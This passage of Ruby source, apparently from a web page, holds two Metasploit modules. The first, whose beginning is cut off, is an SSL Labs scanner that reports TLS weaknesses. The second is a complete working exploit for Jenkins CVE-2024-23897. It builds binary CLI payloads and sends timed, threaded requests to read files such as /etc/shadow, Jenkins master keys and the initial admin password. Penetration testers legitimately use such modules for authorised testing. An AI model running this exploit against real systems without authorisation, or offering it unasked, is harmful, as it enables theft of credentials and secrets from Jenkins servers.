p.store(:active, true) if p<br /> end<br /><br /> ssl_protocols.each do |proto|<br /> if proto[:active]<br /> if proto[:secure]<br /> report_good "#{proto[:name]} #{proto[:version]} - Yes"<br /> else<br /> report_bad "#{proto[:name]} #{proto[:version]} - Yes"<br /> end<br /> else<br /> report_good "#{proto[:name]} #{proto[:version]} - No"<br /> end<br /> end<br /><br /> # Renegotiation<br /> case<br /> when r.details.reneg_support == 0<br /> report_warning "Secure renegotiation is not supported"<br /> when r.details.reneg_support[0] == 1<br /> report_bad "Insecure client-initiated renegotiation is supported"<br /> when r.details.reneg_support[1] == 1<br /> report_good "Secure renegotiation is supported"<br /> when r.details.reneg_support[2] == 1<br /> report_warning "Secure client-initiated renegotiation is supported"<br /> when r.details.reneg_support[3] == 1<br /> report_warning "Server requires secure renegotiation support"<br /> end<br /><br /> # BEAST<br /> if r.details.vuln_beast?<br /> report_bad "BEAST attack - Yes"<br /> else<br /> report_good "BEAST attack - No"<br /> end<br /><br /> # POODLE (SSLv3)<br /> if r.details.poodle?<br /> report_bad "POODLE SSLv3 - Vulnerable"<br /> else<br /> report_good "POODLE SSLv3 - Not vulnerable"<br /> end<br /><br /> # POODLE TLS<br /> case r.details.poodle_tls<br /> when -1<br /> report_warning "POODLE TLS - Test failed"<br /> when 0<br /> report_warning "POODLE TLS - Unknown"<br /> when 1<br /> report_good "POODLE TLS - Not vulnerable"<br /> when 2<br /> report_bad "POODLE TLS - Vulnerable"<br /> end<br /><br /> # Downgrade attack prevention<br /> if r.details.fallback_scsv?<br /> report_good "Downgrade attack prevention - Yes, TLS_FALLBACK_SCSV supported"<br /> else<br /> report_bad "Downgrade attack prevention - No, TLS_FALLBACK_SCSV not supported"<br /> end<br /><br /> # Freak<br /> if r.details.freak?<br /> report_bad "Freak - Vulnerable"<br /> else<br /> report_good "Freak - Not vulnerable"<br /> end<br /><br /> # RC4<br /> if r.details.supports_rc4?<br /> report_warning "RC4 - Server supports at least one RC4 suite"<br /> else<br /> report_good "RC4 - No"<br /> end<br /><br /> # RC4 with modern browsers<br /> report_warning "RC4 is used with modern clients" if r.details.rc4_with_modern?<br /><br /> # Heartbeat<br /> if r.details.heartbeat?<br /> report_status "Heartbeat (extension) - Yes"<br /> else<br /> report_status "Heartbeat (extension) - No"<br /> end<br /><br /> # Heartbleed<br /> if r.details.heartbleed?<br /> report_bad "Heartbleed (vulnerability) - Yes"<br /> else<br /> report_good "Heartbleed (vulnerability) - No"<br /> end<br /><br /> # OpenSSL CCS<br /> case r.details.open_ssl_ccs<br /> when -1<br /> report_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Test failed"<br /> when 0<br /> report_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Unknown"<br /> when 1<br /> report_good "OpenSSL CCS vulnerability (CVE-2014-0224) - No"<br /> when 2<br /> report_bad "OpenSSL CCS vulnerability (CVE-2014-0224) - Possibly vulnerable, but not exploitable"<br /> when 3<br /> report_bad "OpenSSL CCS vulnerability (CVE-2014-0224) - Vulnerable and exploitable"<br /> end<br /><br /> # Forward Secrecy<br /> case<br /> when r.details.forward_secrecy == 0<br /> report_bad "Forward Secrecy - No"<br /> when r.details.forward_secrecy[0] == 1<br /> report_bad "Forward Secrecy - With some browsers"<br /> when r.details.forward_secrecy[1] == 1<br /> report_good "Forward Secrecy - With modern browsers"<br /> when r.details.forward_secrecy[2] == 1<br /> report_good "Forward Secrecy - Yes (with most browsers)"<br /> end<br /><br /> # HSTS<br /> if r.details.sts_response_header<br /> str = "Strict Transport Security (HSTS) - Yes"<br /> if r.details.sts_max_age && r.details.sts_max_age != -1<br /> str += ":max-age=#{r.details.sts_max_age}"<br /> end<br /> str += ":includeSubdomains" if r.details.sts_subdomains?<br /> report_good str<br /> else<br /> report_bad "Strict Transport Security (HSTS) - No"<br /> end<br /><br /> # HPKP<br /> if r.details.pkp_response_header<br /> report_good "Public Key Pinning (HPKP) - Yes"<br /> else<br /> report_warning "Public Key Pinning (HPKP) - No"<br /> end<br /><br /> # Compression<br /> if r.details.compression_methods == 0<br /> report_good "Compression - No"<br /> elsif (r.details.session_tickets & 1) != 0<br /> report_warning "Compression - Yes (Deflate)"<br /> end<br /><br /> # Session Resumption<br /> case r.details.session_resumption<br /> when 0<br /> print_status "Session resumption - No"<br /> when 1<br /> report_warning "Session resumption - No (IDs assigned but not accepted)"<br /> when 2<br /> print_status "Session resumption - Yes"<br /> end<br /><br /> # Session Tickets<br /> case<br /> when r.details.session_tickets == 0<br /> print_status "Session tickets - No"<br /> when r.details.session_tickets[0] == 1<br /> print_status "Session tickets - Yes"<br /> when r.details.session_tickets[1] == 1<br /> report_good "Session tickets - Implementation is faulty"<br /> when r.details.session_tickets[2] == 1<br /> report_warning "Session tickets - Server is intolerant to the extension"<br /> end<br /><br /> # OCSP stapling<br /> if r.details.ocsp_stapling?<br /> print_status "OCSP Stapling - Yes"<br /> else<br /> print_status "OCSP Stapling - No"<br /> end<br /><br /> # NPN<br /> if r.details.supports_npn?<br /> print_status "Next Protocol Negotiation (NPN) - Yes (#{r.details.npn_protocols})"<br /> else<br /> print_status "Next Protocol Negotiation (NPN) - No"<br /> end<br /><br /> # SNI<br /> print_status "SNI Required - Yes" if r.details.sni_required?<br /> end<br /><br /> def output_grades_only(r)<br /> r.endpoints.each do |e|<br /> if e.status_message == "Ready"<br /> print_status "Server: #{e.server_name} (#{e.ip_address}) - Grade:#{e.grade}"<br /> else<br /> print_status "Server: #{e.server_name} (#{e.ip_address} - Status:#{e.status_message}"<br /> end<br /> end<br /> end<br /><br /> def output_common_info(r)<br /> return unless r<br /> print_status "Host: #{r.host}"<br /><br /> r.endpoints.each do |e|<br /> print_status "\t #{e.ip_address}"<br /> end<br /> end<br /><br /> def output_result(r, grade)<br /> return unless r<br /> output_common_info(r)<br /> if grade<br /> output_grades_only(r)<br /> else<br /> r.endpoints.each do |e|<br /> if e.status_message == "Ready"<br /> output_endpoint_data(e)<br /> else<br /> print_status "#{e.status_message}"<br /> end<br /> end<br /> end<br /> end<br /><br /> def output_testing_details(r)<br /> return unless r.status == "IN_PROGRESS"<br /><br /> if r.endpoints.length == 1<br /> print_status "#{r.host} (#{r.endpoints[0].ip_address}) - Progress #{[r.endpoints[0].progress, 0].max}% (#{r.endpoints[0].status_details_message})"<br /> elsif r.endpoints.length > 1<br /> in_progress_srv_num = 0<br /> ready_srv_num = 0<br /> pending_srv_num = 0<br /> r.endpoints.each do |e|<br /> case e.status_message.to_s<br /> when "In progress"<br /> in_progress_srv_num += 1<br /> print_status "Scanned host: #{e.ip_address} (#{e.server_name})- #{[e.progress, 0].max}% complete (#{e.status_details_message})"<br /> when "Pending"<br /> pending_srv_num += 1<br /> when "Ready"<br /> ready_srv_num += 1<br /> end<br /> end<br /> progress = ((ready_srv_num.to_f / (pending_srv_num + in_progress_srv_num + ready_srv_num)) * 100.0).round(0)<br /> print_status "Ready: #{ready_srv_num}, In progress: #{in_progress_srv_num}, Pending: #{pending_srv_num}"<br /> print_status "#{r.host} - Progress #{progress}%"<br /> end<br /> end<br /><br /> def valid_hostname?(hostname)<br /> hostname =~ /^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$/<br /> end<br /><br /> def run<br /> delay = datastore['DELAY']<br /> hostname = datastore['HOSTNAME']<br /> unless valid_hostname?(hostname)<br /> print_status "Invalid hostname"<br /> return<br /> end<br /><br /> usecache = datastore['USECACHE']<br /> grade = datastore['GRADE']<br /><br /> # Use cached results<br /> if usecache<br /> from_cache = 'on'<br /> start_new = 'off'<br /> else<br /> from_cache = 'off'<br /> start_new = 'on'<br /> end<br /><br /> # Ignore mismatch<br /> ignore_mismatch = datastore['IGNOREMISMATCH'] ? 'on' : 'off'<br /><br /> api = Api.new<br /> info = api.info<br /> print_status "SSL Labs API info"<br /> print_status "API version: #{info.engine_version}"<br /> print_status "Evaluation criteria: #{info.criteria_version}"<br /> print_status "Running assessments: #{info.current_assessments} (max #{info.max_assessments})"<br /><br /> if api.current_assessments >= api.max_assessments<br /> print_status "Too many active assessments"<br /> return<br /> end<br /><br /> if usecache<br /> r = api.analyse(host: hostname, fromCache: from_cache, ignoreMismatch: ignore_mismatch, all: 'done')<br /> else<br /> r = api.analyse(host: hostname, startNew: start_new, ignoreMismatch: ignore_mismatch, all: 'done')<br /> end<br /><br /> loop do<br /> case r.status<br /> when "DNS"<br /> print_status "Server: #{r.host} - #{r.status_message}"<br /> when "IN_PROGRESS"<br /> output_testing_details(r)<br /> when "READY"<br /> output_result(r, grade)<br /> return<br /> when "ERROR"<br /> print_error "#{r.status_message}"<br /> return<br /> else<br /> print_error "Unknown assessment status"<br /> return<br /> end<br /> sleep delay<br /> r = api.analyse(host: hostname, all: 'done')<br /> end<br /><br /> rescue RequestRateTooHigh<br /> print_error "Request rate is too high, please slow down"<br /> rescue InternalError<br /> print_error "Service encountered an error, sleep 5 minutes"<br /> rescue ServiceNotAvailable<br /> print_error "Service is not available, sleep 15 minutes"<br /> rescue ServiceOverloaded<br /> print_error "Service is overloaded, sleep 30 minutes"<br /> rescue<br /> print_error "Invalid parameters"<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Auxiliary::Report<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HTTP::Jenkins<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Jenkins cli Ampersand Replacement Arbitrary File Read',<br /> 'Description' => %q{<br /> This module utilizes the Jenkins cli protocol to run the `help` command.<br /> The cli is accessible with read-only permissions by default, which are<br /> all thats required.<br /><br /> Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to<br /> replace any `@<filename>` with the contents of a file. We are then able to retrieve<br /> the error message to read up to the first two lines of a file.<br /><br /> Exploitation by hand can be done with the cli, see markdown documents for additional<br /> instructions.<br /><br /> There are a few exploitation oddities:<br /> 1. The injection point for the `help` command requires 2 input arguments.<br /> When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.<br /> If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`<br /> However, we can pad out the content by supplying a first argument.<br /> 2. There is a strange timing requirement where the `download` (or first) request must get<br /> to the server first, but the `upload` (or second) request must be very close behind it.<br /> From testing against the docker image, it was found values between `.01` and `1.9` were<br /> viable. Due to the round trip time of the first request and response happening before<br /> request 2 would be received, it is necessary to use threading to ensure the requests<br /> happen within rapid succession.<br /><br /> Files of value:<br /> * /var/jenkins_home/secret.key<br /> * /var/jenkins_home/secrets/master.key<br /> * /var/jenkins_home/secrets/initialAdminPassword<br /> * /etc/passwd<br /> * /etc/shadow<br /> * Project secrets and credentials<br /> * Source code, build artifacts<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die', # msf module<br /> 'Yaniv Nizry', # discovery<br /> 'binganao', # poc<br /> 'h4x0r-dz', # poc<br /> 'Vozec' # poc<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://www.jenkins.io/security/advisory/2024-01-24/'],<br /> [ 'URL', 'https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/'],<br /> [ 'URL', 'https://github.com/binganao/CVE-2024-23897'],<br /> [ 'URL', 'https://github.com/h4x0r-dz/CVE-2024-23897'],<br /> [ 'URL', 'https://github.com/Vozec/CVE-2024-23897'],<br /> [ 'CVE', '2024-23897']<br /> ],<br /> 'Targets' => [<br /> [ 'Automatic Target', {}]<br /> ],<br /> 'DisclosureDate' => '2024-01-24',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'Reliability' => [ ],<br /> 'SideEffects' => [ ]<br /> },<br /> 'DefaultOptions' => {<br /> 'RPORT' => 8080,<br /> 'HttpClientTimeout' => 3 # very quick response, so set this low<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),<br /> OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']),<br /> ]<br /> )<br /> register_advanced_options(<br /> [<br /> OptFloat.new('DELAY', [true, 'Delay between first and second request', 0.5]),<br /> OptString.new('ENCODING', [true, 'Encoding to use for reading the file', 'UTF-8']),<br /> OptString.new('LOCALITY', [true, 'Locality to use for reading the file', 'en_US'])<br /> ]<br /> )<br /> end<br /><br /> def check<br /> version = jenkins_version<br /><br /> return Exploit::CheckCode::Safe('Unable to determine Jenkins version number') if version.blank?<br /><br /> version = Rex::Version.new(version)<br /><br /> if version <= Rex::Version.new('2.426.2') || # LTS check<br /> (version >= Rex::Version.new('2.427') && version <= Rex::Version.new('2.441')) # non-lts<br /> return Exploit::CheckCode::Appears("Found exploitable version: #{version}")<br /> end<br /><br /> Exploit::CheckCode::Safe("Found non-exploitable version: #{version}")<br /> end<br /><br /> def request_header<br /> "\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00"<br /> end<br /><br /> def request_footer<br /> data = []<br /> data << "\x00\x00\x00\x07\x02\x00"<br /> data << [datastore['ENCODING'].length].pack('C') # length of encoding string<br /> data << datastore['ENCODING']<br /> data << "\x00\x00\x00\x07\x01\x00"<br /> data << [datastore['LOCALITY'].length].pack('C') # length of locality string<br /> data << datastore['LOCALITY']<br /> data << "\x00\x00\x00\x00\x03"<br /> data<br /> end<br /><br /> def parameter_one<br /> # a literal parameter of 1<br /> "\x03\x00\x00\x01\x31\x00\x00\x00"<br /> end<br /><br /> def data_generator(pad: false)<br /> data = []<br /> data << request_header<br /> data << parameter_one if pad<br /> data << [datastore['FILE_PATH'].length + 3].pack('C').to_s<br /> data << "\x00\x00"<br /> data << [datastore['FILE_PATH'].length + 1].pack('C').to_s<br /> data << "\x40"<br /> data << datastore['FILE_PATH']<br /> data << request_footer<br /> data.join('')<br /> end<br /><br /> def upload_request(uuid, multi_line_file: true)<br /> # send upload request asking for file<br /><br /> # In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request<br /> # which is required for successful exploitation<br /> sleep(datastore['DELAY'])<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'cli'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/octet-stream',<br /> 'headers' => {<br /> 'Session' => uuid,<br /> 'Side' => 'upload'<br /> },<br /> 'vars_get' => {<br /> 'remoting' => 'false'<br /> },<br /> 'data' => data_generator(pad: multi_line_file)<br /> )<br /><br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to upload request (response code: #{res.code})") unless res.code == 200<br /> # we don't get a response here, so we just need the request to go through and 200 us<br /> end<br /><br /> def process_result(use_pad)<br /> # the output comes back as follows:<br /><br /> # ERROR: Too many arguments: <line 2><br /> # java -jar jenkins-cli.jar help<br /> # [COMMAND]<br /> # Lists all the available commands or a detailed description of single command.<br /> # COMMAND : Name of the command (default: <line 1>)<br /><br /> # The main thing here is we get the first 2 lines of output from the file.<br /> # The 2nd line from the file is returned on line 1 of the output, and line<br /> # 1 from the file is returned on the last line of output. If padding was used<br /> # then <line 1> will just be a literal 1<br /><br /> file_contents = []<br /> @content_body.split("\n").each do |html_response_line|<br /> # filter for the two lines which have output<br /> if html_response_line.include? 'ERROR: Too many arguments'<br /> file_contents << html_response_line.gsub('ERROR: Too many arguments: ', '').strip<br /> elsif html_response_line.include? 'COMMAND : Name of the command (default:'<br /> temp = html_response_line.gsub(' COMMAND : Name of the command (default: ', '')<br /> temp = temp.chomp(')').strip<br /> file_contents.insert(0, temp)<br /> end<br /> end<br /> return if file_contents.empty?<br /><br /> # if we padded out, then our first line is 1, so drop that<br /> file_contents = file_contents.drop(1) if use_pad == true<br /><br /> print_good("#{datastore['FILE_PATH']} file contents retrieved (first line or 2):\n#{file_contents.join("\n")}")<br /> stored_path = store_loot('jenkins.file', 'text/plain', rhost, file_contents.join("\n"), datastore['FILE_PATH'])<br /> print_good("Results saved to: #{stored_path}")<br /> end<br /><br /> def download_request(uuid)<br /> # send download request<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'cli'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'headers' => {<br /> 'Session' => uuid,<br /> 'Side' => 'download'<br /> },<br /> 'vars_get' => {<br /> 'remoting' => 'false'<br /> }<br /> )<br /><br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to download request (response code: #{res.code})") unless res.code == 200<br /><br /> @content_body = res.body<br /> end<br /><br /> def run<br /> uuid = SecureRandom.uuid<br /><br /> print_status("Sending requests with UUID: #{uuid}")<br /><br /> # Looking over the python PoCs, they all include threading however<br /> # the writeup, and PoCs don't mention a timing component.<br /> # However, during testing it was found that the two requests need to<br /> # hit the server nearly simultaneously, with the 'download' one hitting<br /> # first. During testing, even a .1 second slowdown was too much and<br /> # the server resulted in a 500 error. So we need to thread these to<br /> # execute them fast enough that the server gets both in rapid succession<br /><br /> use_pad = false<br /> threads = []<br /> threads << framework.threads.spawn('CVE-2024-23897', false) do<br /> upload_request(uuid, multi_line_file: use_pad) # try single line file first since we get an error if we have more content to get<br /> end<br /> threads << framework.threads.spawn('CVE-2024-23897', false) do<br /> download_request(uuid)<br /> end<br /><br /> threads.map do |t|<br /> t.join<br /> rescue StandardError<br /> nil<br /> end<br /><br /> # we got an error that means we need to pad out our value, so rerun with pad<br /> if @content_body && @content_body.include?('ERROR: You must authenticate to access this Jenkins.')<br /> print_status('Re-attempting with padding for single line output file')<br /> use_pad = true<br /> threads = []<br /> threads << framework.threads.spawn('CVE-2024-23897-upload', false) do<br /> upload_request(uuid, multi_line_file: use_pad)<br /> end<br /> threads << framework.threads.spawn('CVE-2024-23897-download', false) do<br /> download_request(uuid)<br /> end<br /><br /> threads.map do |t|<br /> t.join<br /> rescue StandardError<br /> nil<br /> end<br /> end<br /><br /> if @content_body<br /> process_result(use_pad)<br /> else<br /> print_bad('Exploit failed, no exploit data was successfully returned')<br /> end<br /> end<br />end<br /></code></pre>